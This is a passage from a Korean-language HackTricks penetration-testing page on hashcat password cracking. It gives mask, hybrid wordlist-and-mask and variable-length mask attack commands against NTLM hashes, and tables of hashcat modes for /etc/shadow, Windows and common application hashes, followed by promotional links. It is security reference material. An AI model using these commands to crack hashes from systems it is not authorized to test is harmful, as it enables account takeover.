? | Charset ===+========= l | abcdefghijklmnopqrstuvwxyz u | ABCDEFGHIJKLMNOPQRSTUVWXYZ d | 0123456789 h | 0123456789abcdef H | 0123456789ABCDEF s | !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ a | ?l?u?d?s b | 0x00 - 0xff # Mask attack declaring custom charset hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1 ## -1 ?d?s defines a custom charset (digits and specials). ## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset. # Mask attack with variable password length ## Create a file called masks.hcmask with this content: ?d?s,?u?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?1 ?d?s,?u?l?l?l?l?l?l?l?l?1 ## Use it to crack the password hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask ``` * 단어 목록 + 마스크 (`-a 6`) / 마스크 + 단어 목록 (`-a 7`) 공격 ```bash # Mask numbers will be appended to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` #### 해시캣 모드 ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` 리눅스 해시 크래킹 - /etc/shadow 파일 ``` 500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` 윈도우 해시 크래킹 ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` 일반 애플리케이션 해시 크래킹 ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash 5100 | Half MD5 | Raw Hash 100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash 1400 | SHA-256 | Raw Hash 1700 | SHA-512 | Raw Hash ``` {% hint style="success" %} AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks 지원하기 * [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! * **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** * **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
{% endhint %}
\ [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force)를 사용하여 세계에서 **가장 진보된** 커뮤니티 도구로 구동되는 **워크플로우**를 쉽게 구축하고 **자동화**하세요.\ 오늘 바로 접근하세요: {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %}